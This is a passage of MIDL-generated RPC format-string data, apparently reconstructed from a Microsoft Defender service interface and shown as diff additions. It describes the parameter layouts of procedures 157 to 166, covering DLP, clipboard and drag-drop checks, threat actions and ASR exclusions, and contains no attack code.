NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8718 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_3 */ + +/* 8720 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8722 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8724 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_4 */ + +/* 8726 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8728 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8730 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 8732 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8734 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8736 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8738 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8740 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8742 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc157_ServerMpShowDlpDetailsDialog */ + +/* 8744 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8746 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8750 */ NdrFcShort( 0x9d ), /* 157 */ +/* 8752 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 8754 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8756 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8758 */ NdrFcShort( 0x10 ), /* 16 */ +/* 8760 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8762 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 8764 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8766 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8768 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8770 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8772 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8774 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8776 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8778 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_2 */ + +/* 8780 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8782 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8784 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 8786 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8788 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8790 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_4 */ + +/* 8792 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8794 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8796 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 8798 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8800 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8802 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8804 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8806 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8808 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc158_ServerMpRpcGetDlpEvents */ + +/* 8810 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8812 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8816 */ NdrFcShort( 0x9e ), /* 158 */ +/* 8818 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8820 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8822 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8824 */ NdrFcShort( 0x8 ), /* 8 */ +/* 8826 */ NdrFcShort( 0x40 ), /* 64 */ +/* 8828 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 8830 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 8832 */ NdrFcShort( 0x1 ), /* 1 */ +/* 8834 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8836 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8838 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8840 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8842 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8844 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8846 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8848 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8850 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 8852 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 8854 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8856 */ NdrFcShort( 0xb9e ), /* Type Offset=2974 */ + + /* Parameter arg_4 */ + +/* 8858 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8860 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8862 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8864 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8866 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8868 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc159_ServerMpRpcConveyUserChoiceForDlpNotification */ + +/* 8870 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8872 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8876 */ NdrFcShort( 0x9f ), /* 159 */ +/* 8878 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 8880 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8882 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8884 */ NdrFcShort( 0x18 ), /* 24 */ +/* 8886 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8888 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x8, /* 8 */ +/* 8890 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 8892 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8894 */ NdrFcShort( 0x1 ), /* 1 */ +/* 8896 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8898 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8900 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8902 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8904 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8906 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8908 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8910 */ NdrFcShort( 0xc0e ), /* Type Offset=3086 */ + + /* Parameter arg_3 */ + +/* 8912 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8914 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8916 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_4 */ + +/* 8918 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8920 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8922 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 8924 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8926 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8928 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_6 */ + +/* 8930 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8932 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8934 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 8936 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8938 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 8940 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8942 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8944 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 8946 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc160_ServerMpRpcChangeCapability */ + +/* 8948 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8950 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8954 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 8956 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8958 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8960 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8962 */ NdrFcShort( 0x18 ), /* 24 */ +/* 8964 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8966 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 8968 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8970 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8972 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8974 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8976 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8978 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8980 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8982 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8984 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8986 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8988 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 8990 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8992 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8994 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 8996 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8998 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9000 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9002 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9004 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9006 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc161_ServerMpRpcMpThreatAction */ + +/* 9008 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9010 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9014 */ NdrFcShort( 0xa1 ), /* 161 */ +/* 9016 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9018 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9020 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9022 */ NdrFcShort( 0x10 ), /* 16 */ +/* 9024 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9026 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 9028 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 9030 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9032 */ NdrFcShort( 0x1 ), /* 1 */ +/* 9034 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9036 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9038 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9040 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9042 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9044 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 9046 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9048 */ NdrFcShort( 0xc6e ), /* Type Offset=3182 */ + + /* Parameter arg_3 */ + +/* 9050 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9052 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9054 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9056 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9058 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9060 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9062 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9064 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9066 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc162_ServerMpRpcAsrSetHipsUserExclusion */ + +/* 9068 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9070 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9074 */ NdrFcShort( 0xa2 ), /* 162 */ +/* 9076 */ NdrFcShort( 0x60 ), /* X64 Stack size/offset = 96 */ +/* 9078 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9080 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9082 */ NdrFcShort( 0x64 ), /* 100 */ +/* 9084 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9086 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xb, /* 11 */ +/* 9088 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9090 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9092 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9094 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9096 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9098 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9100 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9102 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9104 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 9106 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9108 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_3 */ + +/* 9110 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9112 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9114 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9116 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9118 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9120 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 9122 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9124 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9126 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 9128 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9130 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9132 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_7 */ + +/* 9134 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9136 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9138 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_8 */ + +/* 9140 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9142 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 9144 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_9 */ + +/* 9146 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9148 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 9150 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_10 */ + +/* 9152 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9154 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 9156 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9158 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9160 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 9162 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc163_ServerDlpMpRpcCheckAccessForClipboardOperationEx */ + +/* 9164 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9166 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9170 */ NdrFcShort( 0xa3 ), /* 163 */ +/* 9172 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 9174 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9176 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9178 */ NdrFcShort( 0x20 ), /* 32 */ +/* 9180 */ NdrFcShort( 0x78 ), /* 120 */ +/* 9182 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x8, /* 8 */ +/* 9184 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9186 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9188 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9190 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9192 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9194 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9196 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9198 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9200 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9202 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9204 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 9206 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9208 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9210 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9212 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9214 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9216 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 9218 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9220 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9222 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 9224 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9226 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9228 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 9230 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9232 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9234 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9236 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9238 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 9240 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc164_ServerMpRpcQueryConfigProtection */ + +/* 9242 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9244 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9248 */ NdrFcShort( 0xa4 ), /* 164 */ +/* 9250 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9252 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9254 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9256 */ NdrFcShort( 0x8 ), /* 8 */ +/* 9258 */ NdrFcShort( 0x40 ), /* 64 */ +/* 9260 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 9262 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9264 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9266 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9268 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9270 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9272 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 9274 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9276 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 9278 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 9280 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9282 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 9284 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9286 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9288 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9290 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9292 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9294 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 9296 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9298 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9300 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9302 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9304 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9306 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc165_ServerMpRpcCheckAccessForDragDropOperation */ + +/* 9308 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9310 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9314 */ NdrFcShort( 0xa5 ), /* 165 */ +/* 9316 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 9318 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9320 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9322 */ NdrFcShort( 0x40 ), /* 64 */ +/* 9324 */ NdrFcShort( 0x40 ), /* 64 */ +/* 9326 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xa, /* 10 */ +/* 9328 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 9330 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9332 */ NdrFcShort( 0x1 ), /* 1 */ +/* 9334 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9336 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9338 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9340 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9342 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9344 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9346 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9348 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 9350 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9352 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9354 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9356 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9358 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9360 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 9362 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9364 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9366 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 9368 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9370 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9372 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 9374 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9376 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9378 */ NdrFcShort( 0xc7e ), /* Type Offset=3198 */ + + /* Parameter arg_8 */ + +/* 9380 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9382 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 9384 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_9 */ + +/* 9386 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9388 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 9390 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9392 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9394 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 9396 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc166_ServerMpRpcUpdateBrowserActiveTab */ + +/* 9398 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9400 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9404 */ NdrFcShort( 0xa6 ), /* 166 */ +/* 9406 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 9408 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9410 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9412 */ NdrFcShort( 0x18 ), /* 24 */ +/* 9414 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9416 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 9418 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9420 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9422 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9424 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9426 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9428 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 9430 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 